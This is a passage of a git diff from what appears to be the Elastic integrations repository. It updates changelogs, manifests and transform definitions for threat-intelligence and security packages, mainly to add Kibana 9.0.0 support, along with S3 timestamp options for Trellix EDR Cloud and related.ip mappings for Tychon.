"^8.15.3 || ^9.0.0" elastic: subscription: "basic" icons: diff --git a/packages/ti_eclecticiq/changelog.yml b/packages/ti_eclecticiq/changelog.yml index 3570623e8a4..0456472496a 100644 --- a/packages/ti_eclecticiq/changelog.yml +++ b/packages/ti_eclecticiq/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.3.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ti_eclecticiq/manifest.yml b/packages/ti_eclecticiq/manifest.yml index e378536f20a..8c184c52224 100644 --- a/packages/ti_eclecticiq/manifest.yml +++ b/packages/ti_eclecticiq/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: ti_eclecticiq title: EclecticIQ -version: "1.3.2" +version: "1.4.0" description: Ingest threat intelligence from EclecticIQ with Elastic Agent type: integration categories: @@ -9,7 +9,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic icons: diff --git a/packages/ti_eset/changelog.yml b/packages/ti_eset/changelog.yml index f92a87e7e2c..288c825b8b0 100644 --- a/packages/ti_eset/changelog.yml +++ b/packages/ti_eset/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.6.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.5.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_eset/manifest.yml b/packages/ti_eset/manifest.yml index 5b9329fa62d..f0271285350 100644 --- a/packages/ti_eset/manifest.yml +++ b/packages/ti_eset/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: ti_eset title: "ESET Threat Intelligence" -version: "1.5.1" +version: "1.6.0" description: "Ingest threat intelligence indicators from ESET Threat Intelligence with Elastic Agent." type: integration categories: @@ -9,7 +9,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/ti_maltiverse/changelog.yml b/packages/ti_maltiverse/changelog.yml index 0652c062d34..28ce36b35e2 100644 --- a/packages/ti_maltiverse/changelog.yml +++ b/packages/ti_maltiverse/changelog.yml @@ -1,3 +1,8 @@ +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/ti_maltiverse/manifest.yml b/packages/ti_maltiverse/manifest.yml index 12487919e0e..b57a1b71bdf 100644 --- a/packages/ti_maltiverse/manifest.yml +++ b/packages/ti_maltiverse/manifest.yml @@ -1,13 +1,13 @@ name: ti_maltiverse title: Maltiverse -version: "1.4.0" +version: "1.5.0" description: Ingest threat intelligence indicators from Maltiverse feeds with Elastic Agent type: integration format_version: 3.0.2 categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/logo-maltiverse.svg title: Maltiverse diff --git a/packages/ti_mandiant_advantage/changelog.yml b/packages/ti_mandiant_advantage/changelog.yml index 6c8f740ec10..523ff63f1c4 100644 --- a/packages/ti_mandiant_advantage/changelog.yml +++ b/packages/ti_mandiant_advantage/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.9.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.8.1" changes: - description: Update links to getting started docs diff --git a/packages/ti_mandiant_advantage/manifest.yml b/packages/ti_mandiant_advantage/manifest.yml index 89811439da2..7be8b49e7d1 100644 --- a/packages/ti_mandiant_advantage/manifest.yml +++ b/packages/ti_mandiant_advantage/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.2 name: ti_mandiant_advantage title: "Mandiant Advantage" -version: "1.8.1" +version: "1.9.0" source: license: "Elastic-2.0" description: "Collect Threat Intelligence from products within the Mandiant Advantage platform." @@ -11,7 +11,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/ti_misp/changelog.yml b/packages/ti_misp/changelog.yml index 550bc24f3bc..2a12e893cd6 100644 --- a/packages/ti_misp/changelog.yml +++ b/packages/ti_misp/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.38.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.37.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_misp/manifest.yml b/packages/ti_misp/manifest.yml index a10971a31db..fd9f61da980 100644 --- a/packages/ti_misp/manifest.yml +++ b/packages/ti_misp/manifest.yml @@ -1,13 +1,13 @@ name: ti_misp title: MISP -version: "1.37.1" +version: "1.38.0" description: Ingest threat intelligence indicators from MISP platform with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/misp.svg title: MISP diff --git a/packages/ti_opencti/changelog.yml b/packages/ti_opencti/changelog.yml index 72e7e161e05..754992d4426 100644 --- a/packages/ti_opencti/changelog.yml +++ b/packages/ti_opencti/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.6.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.5.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ti_opencti/manifest.yml b/packages/ti_opencti/manifest.yml index a9b198cff17..1cc4f52172d 100644 --- a/packages/ti_opencti/manifest.yml +++ b/packages/ti_opencti/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: ti_opencti title: OpenCTI -version: "2.5.1" +version: "2.6.0" description: "Ingest threat intelligence indicators from OpenCTI with Elastic Agent." type: integration source: @@ -11,7 +11,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/screenshot1.png title: "Dashboard: OpenCTI Overview" diff --git a/packages/ti_otx/changelog.yml b/packages/ti_otx/changelog.yml index 74538451b73..ba2063868bb 100644 --- a/packages/ti_otx/changelog.yml +++ b/packages/ti_otx/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.28.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.27.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_otx/manifest.yml b/packages/ti_otx/manifest.yml index d3592712eca..70c942d66c4 100644 --- a/packages/ti_otx/manifest.yml +++ b/packages/ti_otx/manifest.yml @@ -1,13 +1,13 @@ name: ti_otx title: AlienVault OTX -version: "1.27.1" +version: "1.28.0" description: Ingest threat intelligence indicators from AlienVault Open Threat Exchange (OTX) with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/otx.svg title: Alienvault OTX diff --git a/packages/ti_rapid7_threat_command/changelog.yml b/packages/ti_rapid7_threat_command/changelog.yml index c1213d897eb..ad100eabb0c 100644 --- a/packages/ti_rapid7_threat_command/changelog.yml +++ b/packages/ti_rapid7_threat_command/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ti_rapid7_threat_command/manifest.yml b/packages/ti_rapid7_threat_command/manifest.yml index 5bc09b092f8..042ce53cc74 100644 --- a/packages/ti_rapid7_threat_command/manifest.yml +++ b/packages/ti_rapid7_threat_command/manifest.yml @@ -1,13 +1,13 @@ format_version: 3.0.2 name: ti_rapid7_threat_command title: Rapid7 Threat Command -version: "2.3.1" +version: "2.4.0" description: Collect threat intelligence from Threat Command API with Elastic Agent. type: integration categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: capabilities: - security diff --git a/packages/ti_recordedfuture/changelog.yml b/packages/ti_recordedfuture/changelog.yml index 70a35b8b30c..897a4f10ad5 100644 --- a/packages/ti_recordedfuture/changelog.yml +++ b/packages/ti_recordedfuture/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.29.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.28.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/ti_recordedfuture/manifest.yml b/packages/ti_recordedfuture/manifest.yml index 1e11d02e80f..90fb435b9e0 100644 --- a/packages/ti_recordedfuture/manifest.yml +++ b/packages/ti_recordedfuture/manifest.yml @@ -1,13 +1,13 @@ name: ti_recordedfuture title: Recorded Future -version: "1.28.0" +version: "1.29.0" description: Ingest threat intelligence indicators from Recorded Future risk lists with Elastic Agent. type: integration format_version: 3.0.2 categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/rf-overview.png title: "Dashboard: RecordedFuture Overview" diff --git a/packages/ti_threatconnect/changelog.yml b/packages/ti_threatconnect/changelog.yml index aecd9cfed29..7f766857774 100644 --- a/packages/ti_threatconnect/changelog.yml +++ b/packages/ti_threatconnect/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.7.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/ti_threatconnect/manifest.yml b/packages/ti_threatconnect/manifest.yml index e946ab63383..7f726703810 100644 --- a/packages/ti_threatconnect/manifest.yml +++ b/packages/ti_threatconnect/manifest.yml @@ -2,7 +2,7 @@ format_version: 3.0.3 name: ti_threatconnect title: ThreatConnect -version: "1.7.1" +version: "1.8.0" description: Collects Indicators from ThreatConnect using the Elastic Agent and saves them as logs inside Elastic type: integration categories: @@ -10,7 +10,7 @@ categories: - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/ti_threatq/changelog.yml b/packages/ti_threatq/changelog.yml index 8904393d980..ff4b5d21b4e 100644 --- a/packages/ti_threatq/changelog.yml +++ b/packages/ti_threatq/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.31.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.30.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/ti_threatq/manifest.yml b/packages/ti_threatq/manifest.yml index 0fa69a642d7..fd350bd235e 100644 --- a/packages/ti_threatq/manifest.yml +++ b/packages/ti_threatq/manifest.yml @@ -1,13 +1,13 @@ name: ti_threatq title: ThreatQuotient -version: "1.30.1" +version: "1.31.0" description: Ingest threat intelligence indicators from ThreatQuotient with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security", "threat_intel"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/threatq.svg title: ThreatQuotient diff --git a/packages/ti_util/changelog.yml b/packages/ti_util/changelog.yml index 008ca8a3909..35be952437a 100644 --- a/packages/ti_util/changelog.yml +++ b/packages/ti_util/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.7.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.6.0" changes: - description: Update the kibana constraint to ^8.13.0. diff --git a/packages/ti_util/manifest.yml b/packages/ti_util/manifest.yml index d9bb481ce44..7bac89b993e 100644 --- a/packages/ti_util/manifest.yml +++ b/packages/ti_util/manifest.yml @@ -1,13 +1,13 @@ name: ti_util title: "Threat Intelligence Utilities" -version: "1.6.0" +version: "1.7.0" description: Prebuilt Threat Intelligence dashboard for Elastic Security categories: - security - threat_intel conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" format_version: "3.0.3" type: integration screenshots: diff --git a/packages/tines/changelog.yml b/packages/tines/changelog.yml index 8d228757a9c..7bb231736f2 100644 --- a/packages/tines/changelog.yml +++ b/packages/tines/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.15.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.14.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/tines/manifest.yml b/packages/tines/manifest.yml index a8ef83b3e6a..464bcac6e31 100644 --- a/packages/tines/manifest.yml +++ b/packages/tines/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: tines title: "Tines" -version: "1.14.2" +version: "1.15.0" description: "Tines Logs & Time Saved Reports" type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/trellix_edr_cloud/changelog.yml b/packages/trellix_edr_cloud/changelog.yml index ae606f20ef6..4a573450523 100644 --- a/packages/trellix_edr_cloud/changelog.yml +++ b/packages/trellix_edr_cloud/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.8.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.7.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.6.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/trellix_edr_cloud/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/trellix_edr_cloud/data_stream/event/agent/stream/aws-s3.yml.hbs index 9b511f47547..8303f9bdc21 100644 --- a/packages/trellix_edr_cloud/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/trellix_edr_cloud/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -13,6 +13,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/trellix_edr_cloud/data_stream/event/manifest.yml b/packages/trellix_edr_cloud/data_stream/event/manifest.yml index 18c2cf9641f..5d0978c4160 100644 --- a/packages/trellix_edr_cloud/data_stream/event/manifest.yml +++ b/packages/trellix_edr_cloud/data_stream/event/manifest.yml @@ -30,6 +30,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/trellix_edr_cloud/manifest.yml b/packages/trellix_edr_cloud/manifest.yml index fd40239fcf5..d249f27b596 100644 --- a/packages/trellix_edr_cloud/manifest.yml +++ b/packages/trellix_edr_cloud/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: trellix_edr_cloud title: Trellix EDR Cloud -version: "1.6.1" +version: "1.8.0" description: Collect logs from Trellix EDR Cloud with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/trellix_epo_cloud/changelog.yml b/packages/trellix_epo_cloud/changelog.yml index 244b106d726..2be23f3860f 100644 --- a/packages/trellix_epo_cloud/changelog.yml +++ b/packages/trellix_epo_cloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.15.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.14.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/trellix_epo_cloud/manifest.yml b/packages/trellix_epo_cloud/manifest.yml index 9be281f0744..78b3c8ce10c 100644 --- a/packages/trellix_epo_cloud/manifest.yml +++ b/packages/trellix_epo_cloud/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: trellix_epo_cloud title: Trellix ePO Cloud -version: "1.14.1" +version: "1.15.0" source: license: Elastic-2.0 description: Collect logs from Trellix ePO Cloud with Elastic Agent. @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/trend_micro_vision_one/changelog.yml b/packages/trend_micro_vision_one/changelog.yml index 97a9128225b..55e7feeeeeb 100644 --- a/packages/trend_micro_vision_one/changelog.yml +++ b/packages/trend_micro_vision_one/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.26.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.25.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/trend_micro_vision_one/manifest.yml b/packages/trend_micro_vision_one/manifest.yml index 0ac4ad4ddb0..9c7d416fd79 100644 --- a/packages/trend_micro_vision_one/manifest.yml +++ b/packages/trend_micro_vision_one/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: trend_micro_vision_one title: Trend Micro Vision One -version: "1.25.1" +version: "1.26.0" description: Collect logs from Trend Micro Vision One with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - edr_xdr conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/trend-micro-vision-one-alert-dashboard-screenshot.png title: Trend Micro Vision One Dashboard Screenshot diff --git a/packages/trendmicro/changelog.yml b/packages/trendmicro/changelog.yml index e5a7bffb303..f6c108f1234 100644 --- a/packages/trendmicro/changelog.yml +++ b/packages/trendmicro/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.7.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.6.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/trendmicro/manifest.yml b/packages/trendmicro/manifest.yml index 284ed9a7297..28bca679fef 100644 --- a/packages/trendmicro/manifest.yml +++ b/packages/trendmicro/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.0" name: trendmicro title: Trend Micro Deep Security -version: "2.6.1" +version: "2.7.0" description: Collect logs from Trend Micro Deep Security with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/tychon/changelog.yml b/packages/tychon/changelog.yml index 67b3945590c..e022a4474fd 100644 --- a/packages/tychon/changelog.yml +++ b/packages/tychon/changelog.yml @@ -1,3 +1,13 @@ +- version: "0.3.1" + changes: + - description: Add missing field mappings in transforms. + type: bugfix + link: http://github.com/elastic/integrations/pull/12841 +- version: "0.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.2.1" changes: - description: Fix broken links in Security Service integrations packages. diff --git a/packages/tychon/elasticsearch/transform/arp/fields/ecs.yml b/packages/tychon/elasticsearch/transform/arp/fields/ecs.yml index 4e9268e07b5..e5be535519b 100644 --- a/packages/tychon/elasticsearch/transform/arp/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/arp/fields/ecs.yml @@ -68,3 +68,5 @@ name: network.type - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/arp/transform.yml b/packages/tychon/elasticsearch/transform/arp/transform.yml index 139bf316d72..2a218aa49db 100644 --- a/packages/tychon/elasticsearch/transform/arp/transform.yml +++ b/packages/tychon/elasticsearch/transform/arp/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_arp-1" + index: "logs-tychon_latest.dest_arp-2" aliases: - alias: "logs-tychon_latest.arp" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/browser/fields/ecs.yml b/packages/tychon/elasticsearch/transform/browser/fields/ecs.yml index 48cfb3f77fc..bb8fd831b87 100644 --- a/packages/tychon/elasticsearch/transform/browser/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/browser/fields/ecs.yml @@ -80,3 +80,5 @@ name: tags - external: ecs name: tls.version_protocol +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/browser/transform.yml b/packages/tychon/elasticsearch/transform/browser/transform.yml index 4a27465d74a..5b8a2f87eeb 100644 --- a/packages/tychon/elasticsearch/transform/browser/transform.yml +++ b/packages/tychon/elasticsearch/transform/browser/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_browser-1" + index: "logs-tychon_latest.dest_browser-2" aliases: - alias: "logs-tychon_latest.browser" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/ciphers/fields/ecs.yml b/packages/tychon/elasticsearch/transform/ciphers/fields/ecs.yml index 2c27a702b35..ef8cb38cd77 100644 --- a/packages/tychon/elasticsearch/transform/ciphers/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/ciphers/fields/ecs.yml @@ -96,6 +96,8 @@ name: process.user.name - external: ecs name: server.address +- external: ecs + name: server.ip - external: ecs name: server.port - external: ecs @@ -108,3 +110,5 @@ name: tls.client.supported_ciphers - external: ecs name: url.full +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/ciphers/transform.yml b/packages/tychon/elasticsearch/transform/ciphers/transform.yml index c25c681b4cd..d475a7b7a45 100644 --- a/packages/tychon/elasticsearch/transform/ciphers/transform.yml +++ b/packages/tychon/elasticsearch/transform/ciphers/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_ciphers-1" + index: "logs-tychon_latest.dest_ciphers-2" aliases: - alias: "logs-tychon_latest.ciphers" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/coams/fields/ecs.yml b/packages/tychon/elasticsearch/transform/coams/fields/ecs.yml index 31a7235135f..5cdec45a982 100644 --- a/packages/tychon/elasticsearch/transform/coams/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/coams/fields/ecs.yml @@ -60,3 +60,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/coams/transform.yml b/packages/tychon/elasticsearch/transform/coams/transform.yml index 52f022e58ea..49ca2fdffb3 100644 --- a/packages/tychon/elasticsearch/transform/coams/transform.yml +++ b/packages/tychon/elasticsearch/transform/coams/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_coams-1" + index: "logs-tychon_latest.dest_coams-2" aliases: - alias: "logs-tychon_latest.coams" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/cpu/fields/ecs.yml b/packages/tychon/elasticsearch/transform/cpu/fields/ecs.yml index 31a7235135f..5cdec45a982 100644 --- a/packages/tychon/elasticsearch/transform/cpu/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/cpu/fields/ecs.yml @@ -60,3 +60,5 @@ name: log.file.path - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/cpu/transform.yml b/packages/tychon/elasticsearch/transform/cpu/transform.yml index 9f5abe4a6ca..03a9101ad3d 100644 --- a/packages/tychon/elasticsearch/transform/cpu/transform.yml +++ b/packages/tychon/elasticsearch/transform/cpu/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_cpu-1" + index: "logs-tychon_latest.dest_cpu-2" aliases: - alias: "logs-tychon_latest.cpu" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/cve/fields/ecs.yml b/packages/tychon/elasticsearch/transform/cve/fields/ecs.yml index e079a962770..c3ff3d48d04 100644 --- a/packages/tychon/elasticsearch/transform/cve/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/cve/fields/ecs.yml @@ -84,3 +84,5 @@ name: vulnerability.score.version - external: ecs name: vulnerability.severity +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/cve/transform.yml b/packages/tychon/elasticsearch/transform/cve/transform.yml index 8bdd3b5a952..42f59496c5e 100644 --- a/packages/tychon/elasticsearch/transform/cve/transform.yml +++ b/packages/tychon/elasticsearch/transform/cve/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_cve-1" + index: "logs-tychon_latest.dest_cve-2" aliases: - alias: "logs-tychon_latest.cve" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/epp/fields/ecs.yml b/packages/tychon/elasticsearch/transform/epp/fields/ecs.yml index 7d45d9509be..bc51fe56fe4 100644 --- a/packages/tychon/elasticsearch/transform/epp/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/epp/fields/ecs.yml @@ -70,3 +70,5 @@ name: package.type - external: ecs name: tags +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/epp/transform.yml b/packages/tychon/elasticsearch/transform/epp/transform.yml index bf5603445dc..128a0ea76e2 100644 --- a/packages/tychon/elasticsearch/transform/epp/transform.yml +++ b/packages/tychon/elasticsearch/transform/epp/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_epp-1" + index: "logs-tychon_latest.dest_epp-2" aliases: - alias: "logs-tychon_latest.epp" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/exposedservice/fields/ecs.yml b/packages/tychon/elasticsearch/transform/exposedservice/fields/ecs.yml index 0bfdefbb6c4..c94861ccf34 100644 --- a/packages/tychon/elasticsearch/transform/exposedservice/fields/ecs.yml +++ b/packages/tychon/elasticsearch/transform/exposedservice/fields/ecs.yml @@ -86,3 +86,5 @@ name: tags - external: ecs name: user.name +- external: ecs + name: related.ip diff --git a/packages/tychon/elasticsearch/transform/exposedservice/transform.yml b/packages/tychon/elasticsearch/transform/exposedservice/transform.yml index 86746797742..69b54d7529f 100644 --- a/packages/tychon/elasticsearch/transform/exposedservice/transform.yml +++ b/packages/tychon/elasticsearch/transform/exposedservice/transform.yml @@ -15,7 +15,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-tychon_latest.dest_exposedservice-1" + index: "logs-tychon_latest.dest_exposedservice-2" aliases: - alias: "logs-tychon_latest.exposedservice" move_on_creation: true @@ -39,5 +39,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.1 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/tychon/elasticsearch/transform/externaldevicecontrol/fields/ecs.yml b/packages/tychon/elasticsearch/transform/externaldevicecontrol/fields/ecs.yml index 22e6faaced3..7f69b33c3c4 100644 --- 